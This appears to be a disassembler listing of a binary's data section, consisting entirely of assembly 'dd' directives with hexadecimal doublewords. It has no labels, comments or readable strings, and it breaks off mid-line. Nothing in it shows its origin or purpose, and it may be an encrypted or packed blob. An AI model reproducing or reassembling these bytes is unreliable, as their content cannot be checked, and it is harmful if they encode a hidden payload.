dd 0E5364FE9h, 2B812B39h, 5D819A5Eh, 0A09D1FF6h, 0C182B3Ch dd 0C1A10C5Eh, 7768AC1Eh, 0D5312E78h, 0CC3A7F9Fh, 0E69418C9h dd 5B505305h, 5EA7BB90h, 0A1F94E1Eh, 22B46451h, 0F71E80E1h dd 8214AB5h, 77412AE9h, 0CA012DF7h, 0DFF24ED6h, 526A869Bh dd 2B0B1A1Dh, 998C5F7h, 0BFF1B7F2h, 9215574Bh, 8C2AE985h dd 1B65D045h, 7ABA89D8h, 0ACD55A99h, 6BF61BB3h, 1BE2B0F8h dd 0C3C065Ah, 1E03EAC1h, 0C426E91Dh, 0F326B7ACh, 22EC6884h dd 0FBB2D8h, 811F7F2Bh, 566958CFh, 2F47212Ch, 732F20A6h dd 7F6D0556h, 1597BE3Fh, 55DCF9B5h, 0C25027E9h, 4CE96A5Ch dd 0AF3AD34Ah, 8BF3A721h, 16295CACh, 0EB0A859Dh, 0E1D2CD77h dd 0C9D9D9FEh, 0DD967250h, 2EA978AFh, 0A44DF816h, 0BC5E27E6h dd 577F803Dh, 2DF58131h, 4C242742h, 0DF4003CAh, 0F8E07CCDh dd 0BBF23376h, 28BA0A18h, 2E5BBE0Ch, 8BEF0F42h, 163A1425h dd 0DAEB30D5h, 3568135Bh, 182CFF42h, 0E26434E9h, 0CCC4B0E5h dd 532B5204h, 0EFC2E831h, 0F5040981h, 0B94AD089h, 5A2C702Fh dd 0D5029A40h, 56BFA58Fh, 0EDF927A6h, 2097F249h, 5427E745h dd 0EE7FB05Eh, 8062975Dh, 27CFED5Fh, 646E4D28h, 0A8DBFD8h dd 9689292Bh, 0F621083Fh, 800464B8h, 0F7800E06h, 0E7C0D40Eh dd 0A3C7C404h, 0DE4E1CFEh, 66434ED8h, 0B25205D8h, 0C380481Eh dd 0BAC474E5h, 0B986E989h, 78E9257Ch, 82662DC1h, 1E807712h dd 3A7D35ADh, 0CFB13FF3h, 3DA4F7D9h, 0FAC8891Bh, 5EF348A2h dd 96CE45D5h, 58FCF0E3h, 56FE797h, 0D53CE954h, 0DE6907EDh dd 1F069253h, 51424471h, 86957308h, 21733F68h, 516C622h dd 0CD4DA7C3h, 0AB058537h, 5926F6CBh, 0D6E209CEh, 68123A94h dd 4F341911h, 0E9CB92C0h, 0DD7D5E62h, 30A32A1Bh, 4082BE50h dd 582559ADh, 0E11AFC30h, 2A23BF68h, 0EAB03A32h, 88FFDB0h dd 0B020CD0Bh, 3D3A685Ah, 26AB669Fh, 62D92177h, 98C031B5h dd 0F994EC0Dh, 53D4A449h, 14B51C2h, 76F0E7E9h, 545512D6h dd 0BB923EADh, 5D93F02Ch, 0D800DD66h, 0BC56230Dh, 3801356Ch dd 0E9122E19h, 336BAF22h, 0D045567Bh, 129A02F7h, 84C421F8h dd 8006BFCEh, 5C2010F4h, 0BC594E86h, 0C330B1EBh, 12BBF62Fh dd 37D403E9h, 5676DEC2h, 0A21463A2h, 20F9E350h, 9ED46352h dd 0AC85B3D6h, 1D39DE9h, 7A5DFB74h, 5942B71h, 0B158080Ah dd 0D2C1F10Ah, 7427FE4Fh, 967CBB9Eh, 0C30CB043h, 88B0B036h dd 5EBEB172h, 0E81064Ch, 0BF039AEEh, 5E8CB353h, 0E9C16C30h dd 0C2D1BC0Ah, 995D08CAh, 0C4C07287h, 5401E62h, 745E412Eh dd 40D0F748h, 0A74188E2h, 107185Ch, 30AFC94Ah, 0B844F001h dd 0C60429EDh, 0C1189792h, 3E08CDE6h, 0CD4E8CF7h, 7C8E006Fh dd 5F4E3360h, 80503E5h, 2CE99C88h, 6F2BE847h, 43B59C05h dd 3D41BDC7h, 849B19C9h, 0D1215F12h, 207CB2B9h, 0F60B1796h dd 0BDE86D3h, 2D5A40D9h, 163A1B3Eh, 23BFDC3Bh, 48D0B75Fh dd 6302B525h, 0A0E930C3h, 2CFEC521h, 4FBA108Ah, 58CB2ABDh dd 0D3644679h, 6205F5D1h, 2AF936A5h, 75B1F64Ch, 1124F72Ah dd 0E908A0EBh, 80F6A86Dh, 0D571EFEFh, 0B659CB20h, 0E4BB3DF4h dd 0FED413FBh, 0E20683C4h, 7361D2C2h, 63C6EA4Ah, 0D367D7F0h dd 0FE80B510h, 0E8D5F6CDh, 92839BC5h, 0C7A88423h, 71054B3Fh dd 1EE227Eh, 450387E6h, 5750712h, 3FBFE1CFh, 84950624h dd 16B87A91h, 190151C3h, 6C24E9F3h, 0E7D0CC3Ah, 9D5EA840h dd 0BB046C1Eh, 0BF5CDCEDh dd 6F2589C0h, 9D4A50CBh, 3C0E7FECh, 0C1015Bh, 76AAE908h dd 0A7F789C3h, 0D92FDB02h, 0E36A20A6h, 0E0D31E67h, 4EECF5CBh dd 942B019h, 17525CACh, 0C3708557h, 0AD09E317h, 4AE9F889h dd 29BA41BDh, 71685DEFh, 9FCC2EF0h, 44E02ADh, 59CF297Fh dd 6B0E360h, 9C2D989Fh, 4E730C3Ch, 0F0CAD829h, 5E0A0550h dd 0C39560E3h, 0D047762Fh, 0E2C102A8h, 0FAC0E905h, 4326BCF1h dd 7925DEA5h, 3A4B2E68h, 78638E5Dh, 971826C6h, 273C4759h dd 0C1626911h, 0BF2E6670h, 0DDC7D060h, 90435E80h, 5BA109E1h dd 0DB0B20ACh, 0CB5965FEh, 5B393060h, 56ABD7Bh, 0B713B0CEh dd 49B301EBh, 3A292527h, 801F0F1h, 0C6EB5D5Bh, 57ED1624h dd 2605E8F2h, 84690060h, 531F509Fh, 5304072h, 345248F8h dd 0A154A2F4h, 27582ACCh, 40C05F25h, 0EC4E1522h, 6AE30FE5h dd 0CD816878h, 0F6520D2Bh, 0CF4C2055h, 2769BAECh, 250984E9h dd 238B7759h, 0E9B6D960h, 920B755Bh, 1A337F02h, 29B217D1h dd 719F7FBAh, 9068C989h, 0BB807673h, 7E790038h, 9E3817Ah dd 3A48AE67h, 65070474h, 36FE6492h, 8C09180Ch, 0F4A44D54h dd 0CAEC2FC6h, 530783BFh, 3F3198BBh, 4EE9124Ch, 356EE415h dd 1439F42Eh, 0A2BD3C09h, 5D04B472h, 0E45F5362h, 0F9011221h dd 68FAE45Fh, 0E92F6895h, 4F8B92ACh, 7A00FD35h, 1C87C34Ah dd 0DF5F83F2h, 3060E029h, 7FC01833h, 7C306AF2h, 4E1AF668h dd 0DBC9406Bh, 9394648h, 0D75FF826h, 71068728h, 216BA002h dd 1D2C048h, 3141D663h, 29AAD858h, 2402B6F5h, 7D038923h dd 74D785C9h, 6D276822h, 0A52197Ah, 50804C34h, 3EF98BF7h dd 23CC05Bh, 1DBEF19Ch, 7CFAC9C8h, 0B40F3E51h, 13F3469Fh dd 0C45D4F4Ah, 65FA211Ah, 2D896F20h, 0FF35267Bh, 77830DF4h dd 0F86F28D6h, 7BC5095Ah, 168520A5h, 5E25A299h, 0D177DC31h dd 3572273Fh, 3427C3E7h, 0AF0FDF1Dh, 24EA7865h, 60665EC7h dd 0F788E3B6h, 27A05A5Dh, 0BFDC5AB5h, 0B2B0D4ECh, 0EB80AF01h dd 9BD2E94Eh, 5B69F73Bh, 0CE80F274h, 2450432Eh, 16A2493Dh dd 7976E365h, 0D17D5925h, 3075EB05h, 80979654h, 52B05FB5h dd 0F5018072h, 0C059EA88h, 66B07E2h, 0AEDF2B1h, 89B7A49Dh dd 0AF4084BAh, 40C60A8Ch, 0B9B854D8h, 5405996h, 9294153Ah dd 72D5048h, 0FFDF2CE9h, 0EAAC29Dh, 3D6E447Fh, 5A17D101h dd 7B65F5FAh, 0A80BE95h, 69574B1h, 3DE9405Eh, 48C725C7h dd 4DB439A5h, 7D410AFh, 0C2EA7E64h, 0EDA254CBh, 7709E1CCh dd 81F6EC04h, 4B70A0Fh, 2892FFC7h, 0F609E3E7h, 162F6406h dd 3D0AB10Fh, 6C9684B5h, 51E30412h, 54520789h, 0DA1130D2h dd 1DCD0037h, 8E680466h, 62D8343h, 7F3EE25Bh, 1020336Ch dd 8869B4AEh, 0B61F6044h, 0DAE680C7h, 449F0BAEh, 0BDE3F091h dd 0D5D6EC42h, 0B0B066Ah, 8B2BF9A5h, 6F09D587h, 8C2ECF2h dd 7E07E5C1h, 0C48749F1h, 0BE8600EDh, 5B4EE9A5h, 3809B6E2h dd 0D2500146h, 25EC084Ah, 0AC8AECA5h, 836E4115h, 0E3366D28h dd 0D133B055h, 429B2578h, 0E942FBD1h, 939DA93h, 0BA1757EEh dd 4C03E17Eh, 1BB4AEBh, 0A85A6C68h, 0C6D0E937h, 71A76B59h dd 0C25B494Ah, 20026E24h, 0DF2BFF4Bh, 719DD60h, 965D22Ch dd 70518B02h, 31B9C039h, 8A4051Fh, 359667E9h, 0A14A00B9h dd 0D10BD721h, 32702990h, 40BD09FAh, 2C262D03h, 0C17139h dd 73EC44ACh, 0BF267C05h, 0C317F6F3h, 4F2176F8h, 379654B0h dd 0BA64008Fh, 9B70C86Ch, 915AD8E9h, 5B2A777h, 0E291A06Dh dd 5CA03D40h, 6136260h, 1DFD0042h, 0C7481E51h, 124473Ch dd 0E99956EEh, 0F62AD7B7h, 999043E8h, 0D9C0A28Ch, 0FF485066h dd 0B2EBFBDh, 0AB0D35E5h, 4A9DD68Ch, 5FFDA4EFh, 0F4F6916h dd 0C32940C1h, 783AD12Ah, 3CDA7A6Ch, 0A3580642h, 0AD051226h dd 0C9078E50h, 4D5D6227h, 56B0F7D4h, 222058B1h, 0C98E6039h dd 478FEF2h, 0E9F8E1D0h, 14E18C5Bh, 0F4E044C2h, 16979E41h dd 7AB3ED68h, 46A71325h, 7D0E0CAFh, 43762A92h, 223E7F0Eh dd 94675DE9h, 5391213Bh, 8E1EEDA6h, 0E6885247h, 0CAF4E972h dd 6DAF60C6h, 2BDE658h, 98E89636h, 0B4CAD529h, 24F76475h dd 0A6E0AB81h, 5445969Fh, 5010EE70h, 5F6602E1h, 9B2C7568h dd 0A8BDD0A7h, 9D45FC6Ch, 7F3D8678h, 0C846BE3Ch, 0B0502A2h dd 0D7AF53E9h, 529D13E6h, 5B39FABEh, 511C2394h, 86F63EC9h dd 5DEE2912h, 5E6C0C44h, 6A0C48A5h, 35203C19h, 68006E96h dd 0E025705Fh, 88BFF05Dh, 39FDBDB4h, 4526AF67h, 40B58434h dd 7817EF9Eh, 5E548009h, 0D1795AE6h, 0C940E942h, 8130597Eh dd 6EC2A803h, 0EDC69F0Ch, 0D7C41673h, 31ABDA63h, 2F5AEDA4h dd 0F7129ADBh, 0DA28EAD8h, 0E3A95F70h, 0F4D71050h, 51C5627Dh dd 44D65C68h, 1E58688h, 0FEFA355Bh, 14A03F19h, 2957135Fh dd 1358D468h, 2270908h, 24FD365Dh, 926515Ch, 3ADF09BCh dd 5F37C243h, 0B5515B60h, 61E6C558h, 0AE25E921h, 2D7C393Eh dd 1A04A93h, 9E61E068h, 16C06059h, 0E0BF868Ah, 2CE8216Fh dd 0BF0017E9h, 7F12FDDAh, 6EFAC77Fh, 0B88C5F4Fh, 8CC95E0Dh dd 0F95B573Bh, 0D06201A7h, 23759EA4h, 0A1594571h, 0AA20F4F3h dd 0B00B8C1Bh, 419BE902h, 806B5EB3h, 28789981h, 0FCA8754Ah dd 4BEFC09Eh, 89D044DAh, 0E0C9FD79h, 0A2278502h, 0A4826A89h dd 596D1CABh, 0E5254D64h, 8832D93Ch, 301287F7h, 42EE014Bh dd 0CB82F4C7h, 0C02502F1h, 0D6A181F9h, 3116EC27h, 0C380C93Fh dd 0F2061DD7h, 7EF6A728h, 61CB0C32h, 58039F2Ch, 9844163Ch dd 6813E4CAh, 863A53AAh, 0BE7A2848h, 0DE4C50B8h, 51AF3BDh dd 0AF659A68h, 0BD409BCBh, 0A35B5E13h, 957339h, 28FD2C06h dd 2D6CB8C8h, 0EEE6EDFBh, 0A6F4DD24h, 236C6861h, 2D52305Dh dd 0C9455F50h, 6A8DD9ADh, 0AEFF0820h, 77E8E097h, 9298FBB4h dd 0E9571655h, 0BDAC537h, 0EAAC670Fh, 58BF0806h, 0E9C30B1Ch dd 8159723Bh, 0C54FE503h, 4AE0E22Fh, 26A50548h, 3B1BEDB3h dd 112DE5D2h, 0FE97C250h, 3E7D599Bh, 0F5E9FDCCh, 5C5013Ah dd 0A8200697h, 83739078h, 75200F90h, 685624FEh, 6718279Eh dd 6A0F5811h, 0EF555069h, 87E458Fh, 1F89CDC8h, 9EF6F8CEh dd 5488058h, 57E5020Fh, 29F4C6FAh, 11D3CE52h, 3C25E60Ch dd 5BA7E545h, 0C34B0C32h, 0B002EFE1h, 292D1262h, 0F400C0F7h dd 668807Ch, 887D4854h, 0C38ADA2Dh, 7F54B2CAh, 0E91710C4h dd 2DEA7ADBh, 7160ADF7h, 898068ADh, 3E5914F6h, 90848664h dd 66E447AFh, 0FA1D7259h, 84ACF5EEh, 1FD96B20h, 0B905EBC1h dd 0B426D6C8h, 0C5F30E19h, 0C2BA87A4h, 8046663Dh, 917B0297h dd 804E79D9h, 10096853h, 5B1803C7h, 0CC44DBF7h, 26CD7D4Eh dd 0A53C5343h, 0F0C3B241h, 72986B0Ah, 6C29460Ch, 1E258002h dd 6D79085Fh, 2608C588h, 0AA7D1391h, 0A27BAA39h, 6336D06Eh dd 0E8EC3654h, 58A8E9F5h, 0D289885Eh, 0CE814020h, 8C504183h dd 1217E681h, 0E20BB552h, 2802656Bh, 69599FAAh, 14988764h dd 778EABFCh, 1BA949C6h, 0B9D1662Fh, 60F5F9EBh, 650F7FE4h dd 86E6A3A1h, 0D44FE90Dh, 3CF0E04Ch, 32AC5A66h, 54BB8FF2h dd 29AFC3A2h, 0FA2FBB78h, 0D201245Fh, 3E99C01h, 0C6F98157h dd 3BEC5D09h, 0D9344EEDh, 2C32583h, 0F6617E8h, 0CCF2AF4Eh dd 1756E511h, 6C0159CEh, 6E9D4E97h, 1FB39D40h, 0A93B50D6h dd 7C92E05Eh, 0FBF6016Dh dd 0E97FD21Ch, 54ADA79Ch, 6A45FA06h, 282B632h, 0DE445355h dd 5FE8AC20h, 7592445Dh, 1EBF128Ch, 0ACF30B90h, 1BBA8E8h dd 2562C89Ch, 2D330A79h, 1CD689DAh, 0E9165F8Bh, 5A3BA3B4h dd 0A25B65CAh, 61EFC8E6h, 330352E9h, 2A2622Ch, 7EC7D56h dd 0A257690h, 3289465Dh, 0C2A9B5C9h, 21D76CE0h, 0E936095h dd 9398BF6Ah, 7B004F7Ah, 0FD2D5975h, 0EA29B40Ah, 965827FBh dd 4D93F7DCh, 0B5EEF5A4h, 68658B2Fh, 5AA192EAh, 9CF568C2h dd 0DB32974Dh, 51CE49FFh, 0C1EEB6C9h, 32F8C12Dh, 0BCC65B28h dd 0E9C5822Ch, 0EED5AFCEh, 2CD00730h, 33355A47h, 536EC2AAh dd 7E0FE6C1h, 639DBC1Ch, 4D4E9168h, 5F543E81h, 9D45B230h dd 4A9B2EE8h, 5552B1BDh, 1473B67Ah, 5BC85EF5h, 0ACE90CD3h dd 2BBBF6D4h, 0F4404A4Dh, 59BB5352h, 11C92C2Bh, 5BA9105Bh dd 40ED12CDh, 0A66F6575h, 0D24C1799h, 882B3E29h, 0CE40E512h dd 844CC759h, 0C3612750h, 195D92F6h, 0D466273Bh, 1F0B49F0h dd 6908FCE5h, 149A2CB8h, 5B36AAF4h, 89005E6Bh, 5FB951E6h dd 2541E346h, 71C2A7E9h, 6817F03Ch, 9CF31E6Fh, 5A291035h dd 7DC059B7h, 0F5826AFFh, 9F891D45h, 687EB0F4h, 0BC635A91h dd 27E9F80Ch, 0A3F96031h, 0FCF920Dh, 8304378h, 0D45A5D40h dd 0E9A1015Bh, 0FF1EFDD3h, 23A54C9h, 51B1D9C0h, 685000BBh dd 7E14453h, 0B6092899h, 87B879A3h, 0EF517252h, 83E35DADh dd 0A13F9968h, 0F2A85E6Dh, 57CB12DFh, 661B62BBh, 4942657Eh dd 0F8560F54h, 1141321Fh, 3EE47F47h, 76CCF704h, 0CDC02C43h dd 12D92AF4h, 10FE011Fh, 5F2D08D6h, 0DFE9E298h, 831D7E94h dd 8EF4CABDh, 7BDA4178h, 0B789738Ch, 42203ED8h, 0D4799F66h dd 0CAD3599Fh, 0B1B566FCh, 5D217A6Eh, 0DF4D3C40h, 75ECCA41h dd 5EA57C74h, 0B47B8C21h, 7AE02200h, 0FF291DB9h, 0BDFDB09Dh dd 0C19F36DAh, 0D935BA2Fh, 283782D0h, 0EAC0E13h, 61DB518Bh dd 3876CAC0h, 0E918661Fh, 0B66B7A3Bh, 6F449458h, 0EEF7A4D2h dd 1FEC854Ch, 7B09556Fh, 5B3056C6h, 74E90494h, 5D5C09D1h dd 9859AC43h, 68163DFh, 0D818C0F2h, 9F000C0Dh, 974897Bh dd 956AE9D6h, 35405000h, 4924ED8Ah, 0DD10DC27h, 79335E10h dd 8700D74Ah, 0F94EE3BEh, 1C93B026h, 4F56660Eh, 0C163DEF7h dd 0BAFE07EEh, 3D04CD00h, 5EF089ABh, 48FF6950h, 59E80DDh dd 5AB65AAAh, 55861356h, 0BC52B6D4h, 81D6F1DAh, 55E95058h dd 0CA2E9772h, 1BB77F42h, 5F80C2DEh, 5CD66809h, 2601FC2h dd 1EC1F75Ch, 19DDE2BDh, 607B5ABEh, 0F73FEE20h, 0D50B6F72h dd 0F9CCC3E9h, 202128C0h, 83807D9Dh, 0A313CDC6h, 0E1200D0Ch dd 2F6940EFh, 0F5C16252h, 5D0840C7h, 0D64B55E9h, 8342698Dh dd 9C8DF9BEh, 58E700A1h, 6610CF80h, 0C46E507Ah, 5EF8DE14h dd 44AA5665h, 0DC81CE78h, 675B455Ch, 0E90BE8F3h, 90D79029h dd 0D2B83B33h, 3625EAD9h, 0F199421Fh, 1320E291h, 0B380826Bh dd 0A13D30F2h, 6E49757Ch, 0C15D066Eh, 99DA0EE8h, 0FCC3132Ah dd 0D73F845Dh, 0C1B6802h, 112014ECh, 8F8997DCh, 0B5202865h dd 720E222Fh, 0E9025F34h, 9CD68AB9h, 1E220597h, 0D4126059h dd 4C243087h, 81CDE90Eh, 0EACC1B97h, 5ABF008Fh, 334C5134h dd 0BD15606Fh, 16E0743h, 7AE58129h, 201D4967h, 21125AB4h dd 5FF05EE2h, 2C231329h, 3922E0D1h, 347B1AF0h, 0F13D4282h dd 424E263Ch, 0FEC138h, 89125110h, 0C40297FEh, 7E345B4h dd 5780F392h, 0E913FCC4h, 0F460B13Eh, 0E6827569h, 8BEE3D31h dd 79D3144Dh, 0ACDB4592h, 0E6829DAAh, 0DD351E52h, 0E92A1566h dd 0B6079A6Bh, 52D6F60Bh, 9DA026A5h, 0F007ECC0h, 108D61EBh dd 2C59CD29h, 80549366h, 83B57F12h, 24987935h, 2F8FDFCFh dd 0CBB936F6h, 5DC966ADh, 54EB3F4Bh, 608ABFBCh, 3A2BEB89h dd 3150A5D4h, 20B1A4F8h, 0B13BA874h, 0A285A6EFh, 0F6CB8883h dd 9EC6CBD3h, 0FBB81E12h, 53278942h, 857B817Fh, 88401230h dd 9F4C14F1h, 7C0C4541h, 464E1647h, 0C7226CC7h, 7C42D5CEh dd 21C418DCh, 42E721FEh, 48E8737Bh, 0D3CF2C4Ch, 0C5040940h dd 0C6A9D4Ch, 68580800h, 969F5114h, 249994B9h, 0EBBB1283h dd 56588231h, 1755E63Eh, 82B75AD6h, 0C97FB84Eh, 44C4D62Dh dd 6806E030h, 0AAB8B25Bh, 0B544C1DDh, 0A5D530C9h, 0E90C81D3h dd 0B3C53C4h, 900ED4B7h, 3A23BB1Bh, 0EB24F825h, 0AAF2E7D7h dd 628DFCD2h, 0B900500Eh, 3E4E48h, 84C18116h, 4931A556h dd 41FE1AB8h, 34015149h, 65BF0845h, 0A4CCF00Eh, 0E947E30Bh dd 0E05CA8A8h, 0F32A0F3Eh, 0D42C651Eh, 8C929867h, 8B4ED4C6h dd 12446B99h, 20278990h, 0BA9C56h, 6E735E2Dh, 21E95722h dd 2739935Ah, 800945F8h, 0B1005150h, 2CB2B0CDh, 74C82893h dd 0EC597304h, 0FED00186h, 885366C2h, 2760CAD3h, 0B9CC3DDh dd 10C07D96h, 33230FBDh, 257A2A38h, 8C0BB57Eh, 302F3978h dd 8D3F712h, 0F063E993h, 2E5D825h, 6EE25DB3h, 0BBE15CB9h dd 96846EF2h, 0D60696B2h, 0C130750h, 3B27F5E6h, 9C7CFC0Eh dd 77678C3Dh, 7A2E92Ah, 824B3459h, 0F9511F81h, 8850074Ch dd 820229D4h, 4CDD0373h, 0D71020D9h, 9EEB8102h, 42DF78EFh dd 2D4CD518h, 1CDCE9Dh, 664DC32Dh, 21C8012Ah, 0CF35FC6Eh dd 0E9467204h, 21BB9F38h, 57E7DF1Eh, 0F116F247h, 44A4A52h dd 89683A2h, 5F16BCFBh, 89392DEEh, 5D57589Bh, 32A8B296h dd 9D4A685Fh, 329412A3h, 13AF3710h, 7C17FD01h, 5F27E6ADh dd 0E950505Ch, 27259AB8h, 56F91C87h, 0B635588h, 75846F34h dd 0D225BCA6h, 0AF0FE40Ah, 8908ACACh, 1A0E2C81h, 155753ACh dd 59A627DFh, 0C3404251h, 358B2568h, 0C3817112h, 0DFE5344Eh dd 0A3C56F7h, 0F540E915h, 0A7FD24C4h, 47ED8759h, 0C6100078h dd 8145006Ch, 123901F5h, 310CC166h, 0EAB10EABh, 0EE0D415Fh dd 58798C3Ah, 37A2D00h, 81350C67h, 0A51A27B3h, 0A07F35E2h dd 0A077E523h, 5249B62Fh, 596934D6h, 225BA7E2h, 71D0E906h dd 0DCDB776h, 33586716h, 0C0FD70CCh, 934FF72Fh, 998D489h dd 621A4AB7h, 626AFD7Dh, 48138081h, 5B2C785Ah, 0FBF899CDh dd 7EC89562h, 41CA6DEBh, 5103B8FAh, 0C1E9F7Dh, 1A5E5446h dd 3C00CF0Ch, 97670C75h, 94BF08E9h, 7F046B36h, 4A96FCFDh dd 68CF38AAh, 9A70DC25h, 0AE2E60A2h, 15C83D14h, 0AF51D127h dd 64AEE160h, 0F70D0143h, 0E94941D9h, 28BF89A7h, 1AB87BFDh dd 0B9F3CD98h, 498E725h, 0D76422E9h, 24050BD7h, 0F81C95C1h dd 72F4B7EAh, 0FC5B43A8h, 68A9B775h, 834CD012h, 0B5BCBABh dd 0EAE6BE16h, 310CD319h, 634312B8h, 4ABEC2AFh, 35A985h dd 20365740h, 4A46FC3Ch, 8C82B9FEh, 5CAD13F1h, 0E5208352h dd 0D2BF157Dh, 345A5C9Dh, 0BB66832Fh, 25897394h, 0B12BD952h dd 3E48717h, 0E6B2F95Ch, 406B78E5h, 0FCF381E8h, 227C5631h dd 7216B34Fh, 4701EE13h, 1D5689Eh, 6DC45138h, 0C05B00FBh dd 388005ECh, 0F858D9C4h, 96DA7112h, 6000921h, 0C15EF021h dd 43112E8h, 0B46850C8h, 918AAE53h, 4EA0F94Bh, 30A906FCh dd 725EB978h, 134DDBF6h, 0AD04302Dh, 5FEFF654h, 53D84ECCh dd 5A78A07Eh, 5E8AD6A9h, 0EB46F997h, 0E962D976h, 9E8EFC76h dd 3495AD34h, 200796ADh, 5813B77Ah, 0C545D988h, 0E365AE39h dd 154D8BEh, 0E9ACA197h, 0B334DFCAh, 0DD2E63F6h, 53019C23h dd 440FB951h, 0ADF063E7h dd 19897D5h, 0D42F03A0h, 0CC266047h, 0BFC0706Ch, 108FEA45h dd 213A8044h, 2C4358C3h, 0A671534Bh, 0E90B30E2h, 0E2B65CF6h dd 0D774B143h, 0BEA023FBh, 5093883Ch, 0B3E6FBBh, 3BC0B6E9h dd 34CE4C0h, 0C66A2703h, 135D4A13h, 1E498CFh, 4095C2A4h dd 6BBF3h, 89554A27h, 51CA68F5h, 0D7CBA9BDh, 60C61F91h dd 2980E74Ah, 60FAA1C3h, 4AFBC204h, 395FA3A9h, 2C2A2C46h dd 4D27E9A5h, 116E4D8h, 397463BFh, 897C297Eh, 0C2DBE99Ch dd 495851A2h, 0A0D4FC04h, 0EEBF5608h, 313341BBh, 427F650Dh dd 8AF6F075h, 8600CE2Ch, 52F3E63h, 24DC1274h, 5310BB30h dd 0CD640785h, 0AEEF2D28h, 0E9762151h, 493EC741h, 0CF104058h dd 301E0DF3h, 0CDC90CE5h, 5BB6745Ah, 0FDFB75EFh, 0D8A175B0h dd 0C34702DFh, 0F04BE825h, 0FA092884h, 346B41AEh, 317E5EB6h dd 899D6EF6h, 7082F260h, 0D5882EB2h, 0AA9516BCh, 5E131975h dd 0F559E882h, 515F8F1Eh, 0ABA4BAA9h, 0C288E507h, 83C5C2Bh dd 5E3B8637h, 9DFA67C4h, 795BA599h, 16F6CB3Eh, 0F449E985h dd 62804F88h, 7E92F0EDh, 0D1954CDAh, 0BD4309ADh, 924AEFC4h dd 455FF0F0h, 0E930114Eh, 454B2BAEh, 1BFCF3E3h, 52250D7Ah dd 0B60F8261h, 12BADE31h, 8F63433Dh, 80C14047h, 0A1817849h dd 323E4C68h, 0EF615531h, 3A02953h, 7DAA5D34h, 4383B429h dd 303FC85Bh, 46D604F7h, 0FD4E47E9h, 1D814B6Eh, 0B401A672h dd 8824DCC1h, 11090ECBh, 89AC3C94h, 78C20F39h, 0AD7627ABh dd 35E90682h, 9BE77502h, 0E9021C44h, 2F5FD15Ah, 76B5993h dd 41EBC111h, 48727A5h, 4ECAF280h, 0B94F022Dh, 6A78310Eh dd 826169FFh, 0B2590BCEh, 0A5404DCBh, 0ED4FD8DAh, 0F73901E2h dd 4261F96h, 12F96105h, 0C4C012FFh, 0FA1CC5AAh, 0CE8B54h dd 2B3C6101h, 0B95859E9h, 68558AB5h, 534A09BDh, 0F6C7B074h dd 2EBE20D8h, 0E4146C92h, 6688BBC2h, 67531337h, 3F72EBB6h dd 9DE5FBE7h, 6496A583h, 0B70F5C02h, 0CC3068C8h, 6AE92DCDh dd 8B69DC0h, 1FFC51BDh, 701D4B5Fh, 6A9D0AF2h, 8E9F4D5h dd 5E12E510h, 544A2AECh, 0D15680Fh, 5203D6D2h, 6447168h dd 6E994E13h, 45E420B8h, 0BBC80F88h, 0D08AB9D1h, 6B60AD02h dd 66BF723Eh, 9CD8993Bh, 0A26B5368h, 5D98DA44h, 3F8D8CAAh dd 0BEAA855Bh, 21207ED9h, 220559FEh, 0C02CE70Eh, 0BC08026Bh dd 0C3868B8Bh, 0AC90AA85h, 0EA8009A2h, 74D98B01h, 663132BAh dd 0E65BEBC1h, 0F6F28100h, 0DCD616CAh, 0F5DE029h, 3EACA455h dd 0C281C880h, 0F5841FAFh, 9F7EDB72h, 0C1C1FC3Fh, 0AC497430h dd 0A84525D5h, 0B4C13413h, 88109078h, 0ABF2800Ch, 619DB1A0h dd 0F06EFEF0h, 85BD719Dh, 8DACC3E8h, 5DA99231h, 70CA2F05h dd 0D64F5A62h, 4D392D00h, 0E0774FE3h, 5540C376h, 20B7B004h dd 0B0B59E6Ah, 0C4D70112h, 0A8BF7EF2h, 71139EB5h, 7DB80F40h dd 414806Ch, 6B1FD425h, 0F703FE08h, 4FE7A05h, 0EE9C7E3h dd 8F4BEC5Ch, 4521B366h, 810046F7h, 3C77AFC7h, 134F2C3Eh dd 0DA20E59Fh, 244C7533h, 0E28B90Bh, 0C489F4B3h, 0E0B167F0h dd 0AC30E9E2h, 0B4FD0B1h, 897EFB61h, 4B0C6702h, 8790B647h dd 49825C24h, 0A51226FDh, 0FA70BFA5h, 9BF4C2E4h, 826957F5h dd 588B870Bh, 8EFFCE4Ah, 28640894h, 0E4553109h, 3A406F1Bh dd 0F4C9F2C9h, 50F65F02h, 1D5A73Ch, 5E0568B2h, 445A1E23h dd 0AA98A93Bh, 0DE88189Dh, 0C5816794h, 1A3B1BA9h, 0EDE1F5F5h dd 835E0841h, 0F88E41FEh, 2EE8177Eh, 47F710E3h, 749D2501h dd 472D3D01h, 0BF1905FFh, 84084184h, 0BCAD13F0h, 0DF04A5FBh dd 0EB49BCD8h, 0AF586A56h, 0E121C9C7h, 11C1ED5Ch, 5C387E25h dd 504B7300h, 2BEA811Ah, 36F46718h, 2035A40Ch, 0AB092609h dd 556F5274h, 75807409h, 9F02031h, 0E9FE2109h, 0F4325FC8h dd 0DE5EE05Dh, 0ABD682F5h, 3ED3001h, 0F5E3D901h, 165B080Bh dd 0F696C180h, 300C1B3Eh, 0DDFF41Bh, 4234E0E4h, 5E1357EDh dd 10D9E3C0h, 0AD07DC4Eh, 207F83h, 528A840Fh, 0CCEE89C0h dd 0E4D4Bh, 6851C601h, 18CF718Bh, 0D9F7590Fh, 0C5B92157h dd 4CC5E97Dh, 84799028h, 438A68BFh, 44F6082Ah, 0C7204C01h dd 0D22F9769h, 0DE87375Ch, 13121072h, 8318465Dh, 0F31401C6h dd 0E918C42Fh, 0BEBE94CCh, 40AB2A98h, 0F300059Ah, 2D753730h dd 0FFAD3F0Ch, 1FD2846Fh, 0F4112807h, 593879C2h, 6885A879h dd 9044A110h, 804AF96Ch, 0F0F68159h, 228E8612h, 0BB009BFCh dd 23617DAFh, 0E5AACB31h, 0A33D5E60h, 44C6A983h, 58C7AF8Bh dd 0FDA0D102h, 5D88B302h, 43FDEA6Ah, 0F0060913h, 8C50B5E9h dd 842B3397h, 0E62B70F1h, 5EFF9429h, 0E90C7CBDh, 84858E43h dd 2D684188h, 20981693h, 602D4A3Eh, 0EEB5A54h, 2EED3DD4h dd 0EBEE2C0h, 1CC976BBh, 846B0E4Ah, 41C1D4D0h, 88029BFDh dd 591E28D6h, 73B1F592h, 1FC8982Eh, 76270EB4h, 0DBA1F82Ah dd 919C8992h, 95BB2746h, 0B574E48Bh, 6D0BB248h, 27E6907Dh dd 17972E7Fh, 25FB10F9h, 63BE164h, 0BE564380h, 6DB233F9h dd 0A0BD5506h, 359CCE6Ch, 0E0227370h, 361D88C4h, 80BF297Ah dd 